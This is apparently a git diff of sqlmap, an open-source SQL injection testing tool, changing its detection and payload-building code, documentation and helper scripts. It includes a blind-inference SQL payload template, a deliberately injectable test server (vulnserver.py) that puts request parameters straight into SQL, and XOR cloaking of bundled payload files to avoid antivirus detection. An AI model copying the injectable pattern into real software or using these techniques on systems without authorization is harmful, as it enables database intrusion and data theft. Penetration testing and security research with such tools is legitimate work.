<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex/>
|
||||
<inference query="SUBSTRING((%s) FROM %d FOR 1)>'%c'"/>
|
||||
<banner/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
|
||||
@@ -6,14 +6,17 @@
|
||||
# Version 1.3 (2019-01-05)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
|
||||
|
||||
# Version 1.2 (2018-01-08)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
||||
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
|
||||
|
||||
# Version 1.1 (2017-04-07)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
||||
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
|
||||
|
||||
# Version 1.0 (2016-02-27)
|
||||
|
||||
|
||||
@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
|
||||
Sherif El-Deeb, <archeldeeb(at)gmail.com>
|
||||
* for reporting a minor bug
|
||||
|
||||
Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
|
||||
* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
|
||||
|
||||
Stefano Di Paola, <stefano.dipaola(at)wisec.it>
|
||||
* for suggesting good features
|
||||
|
||||
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
|
||||
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
|
||||
* for contributing a Portuguese translation of README.md
|
||||
|
||||
Francesco Marano, <francesco.mrn24(at)gmail.com>
|
||||
* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
|
||||
|
||||
Ahmad Maulana, <matdhule(at)gmail.com>
|
||||
* for contributing a tamper script halfversionedmorekeywords.py
|
||||
|
||||
@@ -486,6 +492,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
|
||||
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
|
||||
* for reporting a minor bug
|
||||
|
||||
Henri Salo <henri(at)nerv.fi>
|
||||
* for a donation
|
||||
|
||||
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
|
||||
* for reporting a minor bug
|
||||
|
||||
|
||||
@@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement.
|
||||
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
||||
Copyright (C) 2012, Marcel Hellkamp.
|
||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||
Copyright (C) 2019, Miroslav Stampar.
|
||||
Copyright (C) 2019-2020, Miroslav Stampar.
|
||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
||||
Copyright (C) 2009, Raymond Hettinger.
|
||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||
|
||||
@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
|
||||
|
||||
python sqlmap.py -hh
|
||||
|
||||
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
||||
Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
||||
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||
|
||||
Liens
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
||||
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
||||
|
||||
Tangkapan Layar
|
||||
----
|
||||
@@ -43,7 +43,7 @@ Tautan
|
||||
* Situs: http://sqlmap.org
|
||||
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
|
||||
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
||||
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||
|
||||
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
|
||||
Instalação
|
||||
----
|
||||
|
||||
Você pode baixar o arquivo tar mais recente clicando [aqui]
|
||||
(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||
Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||
|
||||
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
|
||||
|
||||
|
||||
@@ -19,28 +19,26 @@ from optparse import OptionParser
|
||||
|
||||
if sys.version_info >= (3, 0):
|
||||
xrange = range
|
||||
ord = lambda _: _
|
||||
|
||||
def hideAscii(data):
|
||||
retVal = b""
|
||||
for i in xrange(len(data)):
|
||||
value = data[i] if isinstance(data[i], int) else ord(data[i])
|
||||
retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
|
||||
KEY = b"MOZFqVjlk1CY436G"
|
||||
|
||||
return retVal
|
||||
def xor(message, key):
|
||||
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
|
||||
|
||||
def cloak(inputFile=None, data=None):
|
||||
if data is None:
|
||||
with open(inputFile, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
return hideAscii(zlib.compress(data))
|
||||
return xor(zlib.compress(data), KEY)
|
||||
|
||||
def decloak(inputFile=None, data=None):
|
||||
if data is None:
|
||||
with open(inputFile, "rb") as f:
|
||||
data = f.read()
|
||||
try:
|
||||
data = zlib.decompress(hideAscii(data))
|
||||
data = zlib.decompress(xor(data, KEY))
|
||||
except Exception as ex:
|
||||
print(ex)
|
||||
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
|
||||
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
|
||||
|
||||
def main():
|
||||
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
|
||||
parser = OptionParser(usage=usage, version='0.1')
|
||||
parser = OptionParser(usage=usage, version='0.2')
|
||||
|
||||
try:
|
||||
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -7,7 +7,7 @@
|
||||
|
||||
export SQLMAP_DREI=1
|
||||
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
|
||||
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
|
||||
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
|
||||
unset SQLMAP_DREI
|
||||
source `dirname "$0"`"/junk.sh"
|
||||
|
||||
|
||||
16
extra/shutils/recloak.sh
Executable file
16
extra/shutils/recloak.sh
Executable file
@@ -0,0 +1,16 @@
|
||||
#!/bin/bash
|
||||
|
||||
# NOTE: this script is for dev usage after AV something something
|
||||
|
||||
DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
|
||||
|
||||
cd $DIR/../..
|
||||
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
|
||||
|
||||
cd $DIR/../cloak
|
||||
sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
|
||||
|
||||
cd $DIR/../..
|
||||
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
|
||||
|
||||
git clean -f > /dev/null
|
||||
@@ -9,6 +9,7 @@ See the file 'LICENSE' for copying permission
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import base64
|
||||
import json
|
||||
import re
|
||||
import sqlite3
|
||||
@@ -18,6 +19,7 @@ import traceback
|
||||
|
||||
PY3 = sys.version_info >= (3, 0)
|
||||
UNICODE_ENCODING = "utf-8"
|
||||
DEBUG = False
|
||||
|
||||
if PY3:
|
||||
from http.client import INTERNAL_SERVER_ERROR
|
||||
@@ -83,7 +85,8 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
|
||||
try:
|
||||
HTTPServer.finish_request(self, *args, **kwargs)
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
if DEBUG:
|
||||
traceback.print_exc()
|
||||
|
||||
class ReqHandler(BaseHTTPRequestHandler):
|
||||
def do_REQUEST(self):
|
||||
@@ -131,7 +134,7 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
|
||||
self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
|
||||
else:
|
||||
code, output = OK, ""
|
||||
|
||||
@@ -144,19 +147,27 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
if "query" in self.params:
|
||||
_cursor.execute(self.params["query"])
|
||||
elif "id" in self.params:
|
||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
||||
if "base64" in self.params:
|
||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
|
||||
else:
|
||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
||||
results = _cursor.fetchall()
|
||||
|
||||
output += "<b>SQL results:</b>\n"
|
||||
output += "<table border=\"1\">\n"
|
||||
output += "<b>SQL results:</b><br>\n"
|
||||
|
||||
for row in results:
|
||||
output += "<tr>"
|
||||
for value in row:
|
||||
output += "<td>%s</td>" % value
|
||||
output += "</tr>\n"
|
||||
if results:
|
||||
output += "<table border=\"1\">\n"
|
||||
|
||||
for row in results:
|
||||
output += "<tr>"
|
||||
for value in row:
|
||||
output += "<td>%s</td>" % value
|
||||
output += "</tr>\n"
|
||||
|
||||
output += "</table>\n"
|
||||
else:
|
||||
output += "no results found"
|
||||
|
||||
output += "</table>\n"
|
||||
output += "</body></html>"
|
||||
except Exception as ex:
|
||||
code = INTERNAL_SERVER_ERROR
|
||||
@@ -221,7 +232,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
|
||||
global _server
|
||||
try:
|
||||
_server = ThreadingServer((address, port), ReqHandler)
|
||||
print("[i] running HTTP server at '%s:%d'" % (address, port))
|
||||
print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
|
||||
_server.serve_forever()
|
||||
except KeyboardInterrupt:
|
||||
_server.socket.close()
|
||||
|
||||
@@ -54,6 +54,8 @@ def action():
|
||||
|
||||
conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
|
||||
|
||||
kb.fingerprinted = True
|
||||
|
||||
# Enumeration options
|
||||
if conf.getBanner:
|
||||
conf.dumper.banner(conf.dbmsHandler.getBanner())
|
||||
|
||||
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.common import intersect
|
||||
from lib.core.common import isDigit
|
||||
from lib.core.common import joinValue
|
||||
from lib.core.common import listToStrValue
|
||||
from lib.core.common import parseFilePaths
|
||||
@@ -117,7 +118,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
# Favoring non-string specific boundaries in case of digit-like parameter values
|
||||
if value.isdigit():
|
||||
if isDigit(value):
|
||||
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
|
||||
boundaries = kb.cache.intBoundaries
|
||||
elif value.isalpha():
|
||||
@@ -226,8 +227,8 @@ def checkSqlInjection(place, parameter, value):
|
||||
# Skip test if the user's wants to test only for a specific
|
||||
# technique
|
||||
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
|
||||
debugMsg = "skipping test '%s' because the user " % title
|
||||
debugMsg += "specified to test only for "
|
||||
debugMsg = "skipping test '%s' because user " % title
|
||||
debugMsg += "specified testing of only "
|
||||
debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
|
||||
logger.debug(debugMsg)
|
||||
continue
|
||||
@@ -501,12 +502,13 @@ def checkSqlInjection(place, parameter, value):
|
||||
# Useful to set kb.matchRatio at first based on False response content
|
||||
kb.matchRatio = None
|
||||
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
||||
suggestion = None
|
||||
Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
||||
|
||||
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
|
||||
if not kb.negativeLogic:
|
||||
if not any((kb.negativeLogic, conf.string, conf.notString)):
|
||||
try:
|
||||
ratio = 1.0
|
||||
seqMatcher = getCurrentThreadData().seqMatcher
|
||||
@@ -568,7 +570,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
candidates = sorted(candidates, key=len)
|
||||
for candidate in candidates:
|
||||
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
||||
conf.string = candidate
|
||||
suggestion = conf.string = candidate
|
||||
injectable = True
|
||||
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||
@@ -579,7 +581,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
if injectable:
|
||||
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||
if all((falseCode, trueCode)) and falseCode != trueCode:
|
||||
conf.code = trueCode
|
||||
suggestion = conf.code = trueCode
|
||||
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
|
||||
logger.info(infoMsg)
|
||||
@@ -604,7 +606,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
||||
break
|
||||
|
||||
conf.string = candidate
|
||||
suggestion = conf.string = candidate
|
||||
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||
logger.info(infoMsg)
|
||||
@@ -618,12 +620,12 @@ def checkSqlInjection(place, parameter, value):
|
||||
if re.match(r"\A\w+\Z", candidate):
|
||||
break
|
||||
|
||||
conf.notString = candidate
|
||||
suggestion = conf.notString = candidate
|
||||
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not any((conf.string, conf.notString, conf.code)):
|
||||
if not suggestion:
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
||||
singleTimeLogMessage(infoMsg)
|
||||
|
||||
@@ -650,7 +652,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
except SqlmapConnectionException as ex:
|
||||
debugMsg = "problem occurred most likely because the "
|
||||
debugMsg += "server hasn't recovered as expected from the "
|
||||
debugMsg += "error-based payload used ('%s')" % getSafeExString(ex)
|
||||
debugMsg += "used error-based payload ('%s')" % getSafeExString(ex)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
# In case of time-based blind or stacked queries
|
||||
@@ -854,7 +856,9 @@ def checkSqlInjection(place, parameter, value):
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not checkFalsePositives(injection):
|
||||
kb.vulnHosts.remove(conf.hostname)
|
||||
if conf.hostname in kb.vulnHosts:
|
||||
kb.vulnHosts.remove(conf.hostname)
|
||||
|
||||
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
|
||||
injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
|
||||
|
||||
@@ -875,8 +879,12 @@ def heuristicCheckDbms(injection):
|
||||
to identify with a simple DBMS specific boolean-based test what the DBMS
|
||||
may be
|
||||
"""
|
||||
|
||||
retVal = False
|
||||
|
||||
if conf.skipHeuristics:
|
||||
return retVal
|
||||
|
||||
pushValue(kb.injection)
|
||||
kb.injection = injection
|
||||
|
||||
@@ -939,6 +947,9 @@ def checkFalsePositives(injection):
|
||||
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
||||
continue
|
||||
|
||||
if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
||||
continue
|
||||
|
||||
if randInt3 > randInt2 > randInt1:
|
||||
break
|
||||
|
||||
@@ -1027,6 +1038,9 @@ def checkFilteredChars(injection):
|
||||
kb.injection = popValue()
|
||||
|
||||
def heuristicCheckSqlInjection(place, parameter):
|
||||
if conf.skipHeuristics:
|
||||
return None
|
||||
|
||||
if kb.heavilyDynamic:
|
||||
debugMsg = "heuristic check skipped because of heavy dynamicity"
|
||||
logger.debug(debugMsg)
|
||||
@@ -1577,7 +1591,7 @@ def checkConnection(suppressOutput=False):
|
||||
kb.originalPage = kb.pageTemplate = threadData.lastPage
|
||||
kb.originalCode = threadData.lastCode
|
||||
|
||||
if conf.cj and not conf.cookie and not conf.dropSetCookie:
|
||||
if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
|
||||
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
|
||||
|
||||
message = "you have not declared cookie(s), while "
|
||||
|
||||
@@ -291,7 +291,7 @@ def start():
|
||||
logger.error(errMsg)
|
||||
return False
|
||||
|
||||
if kb.targets and len(kb.targets) > 1:
|
||||
if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
|
||||
infoMsg = "found a total of %d targets" % len(kb.targets)
|
||||
logger.info(infoMsg)
|
||||
|
||||
@@ -336,6 +336,10 @@ def start():
|
||||
conf.httpHeaders.append((header, value))
|
||||
break
|
||||
|
||||
if conf.data:
|
||||
# Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
|
||||
conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
|
||||
|
||||
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
|
||||
|
||||
initTargetEnv()
|
||||
@@ -382,7 +386,7 @@ def start():
|
||||
message += "\nCookie: %s" % conf.cookie
|
||||
|
||||
if conf.data is not None:
|
||||
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
||||
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
||||
|
||||
if conf.forms and conf.method:
|
||||
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
||||
@@ -700,6 +704,12 @@ def start():
|
||||
action()
|
||||
|
||||
except KeyboardInterrupt:
|
||||
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
|
||||
kb.multipleCtrlC = True
|
||||
raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
|
||||
|
||||
kb.lastCtrlCTime = time.time()
|
||||
|
||||
if conf.multipleTargets:
|
||||
warnMsg = "user aborted in multiple target mode"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
@@ -42,6 +42,7 @@ from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.enums import POST_HINT
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.settings import BOUNDED_BASE64_MARKER
|
||||
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
||||
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||
@@ -110,6 +111,7 @@ class Agent(object):
|
||||
paramDict = conf.paramDict[place]
|
||||
origValue = getUnicode(paramDict[parameter])
|
||||
newValue = getUnicode(newValue) if newValue else newValue
|
||||
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
|
||||
|
||||
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
|
||||
paramString = origValue
|
||||
@@ -171,19 +173,30 @@ class Agent(object):
|
||||
|
||||
newValue = "%s%s" % (value, newValue)
|
||||
|
||||
newValue = self.cleanupPayload(newValue, origValue)
|
||||
newValue = self.cleanupPayload(newValue, origValue) or ""
|
||||
|
||||
if base64Encoding:
|
||||
_newValue = newValue
|
||||
_origValue = origValue
|
||||
|
||||
if newValue:
|
||||
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
|
||||
newValue = self.adjustLateValues(newValue)
|
||||
|
||||
if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
|
||||
# TODO: support for POST_HINT
|
||||
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
|
||||
|
||||
if parameter in kb.base64Originals:
|
||||
origValue = kb.base64Originals[parameter]
|
||||
else:
|
||||
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||
|
||||
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
||||
|
||||
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
|
||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
|
||||
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
||||
else:
|
||||
newValue = self.addPayloadDelimiters(newValue)
|
||||
@@ -194,7 +207,13 @@ class Agent(object):
|
||||
|
||||
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
||||
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
||||
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
||||
if base64Encoding:
|
||||
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
|
||||
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
|
||||
if match:
|
||||
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
|
||||
else:
|
||||
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
||||
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
|
||||
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
|
||||
else:
|
||||
@@ -379,6 +398,10 @@ class Agent(object):
|
||||
"""
|
||||
|
||||
if payload:
|
||||
for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
|
||||
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
|
||||
payload = payload.replace(match.group(0), _)
|
||||
|
||||
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
||||
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
||||
|
||||
@@ -410,7 +433,7 @@ class Agent(object):
|
||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||
hexField = field
|
||||
|
||||
if "hex" in rootQuery:
|
||||
if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
|
||||
hexField = rootQuery.hex.query % field
|
||||
else:
|
||||
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
|
||||
@@ -448,6 +471,12 @@ class Agent(object):
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
match = re.search(r"(?i)(.+)( AS \w+)\Z", field)
|
||||
if match:
|
||||
field, suffix = match.groups()
|
||||
else:
|
||||
suffix = ""
|
||||
|
||||
nulledCastedField = field
|
||||
|
||||
if field and Backend.getIdentifiedDbms():
|
||||
@@ -467,6 +496,12 @@ class Agent(object):
|
||||
if conf.hexConvert or kb.binaryField:
|
||||
nulledCastedField = self.hexConvertField(nulledCastedField)
|
||||
|
||||
if suffix:
|
||||
nulledCastedField += suffix
|
||||
|
||||
if not kb.nchar:
|
||||
nulledCastedField = re.sub(r"( AS )N(CHAR|VARCHAR)", r"\g<1>\g<2>", nulledCastedField)
|
||||
|
||||
return nulledCastedField
|
||||
|
||||
def nullCastConcatFields(self, fields):
|
||||
@@ -510,6 +545,7 @@ class Agent(object):
|
||||
nulledCastedFields = []
|
||||
|
||||
for field in fieldsSplitted:
|
||||
field = re.sub(r"(?i) AS \w+\Z", "", field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work
|
||||
nulledCastedFields.append(self.nullAndCastField(field))
|
||||
|
||||
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
|
||||
@@ -535,7 +571,7 @@ class Agent(object):
|
||||
"""
|
||||
|
||||
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
|
||||
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+([\d]|\([^)]+\))+\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
|
||||
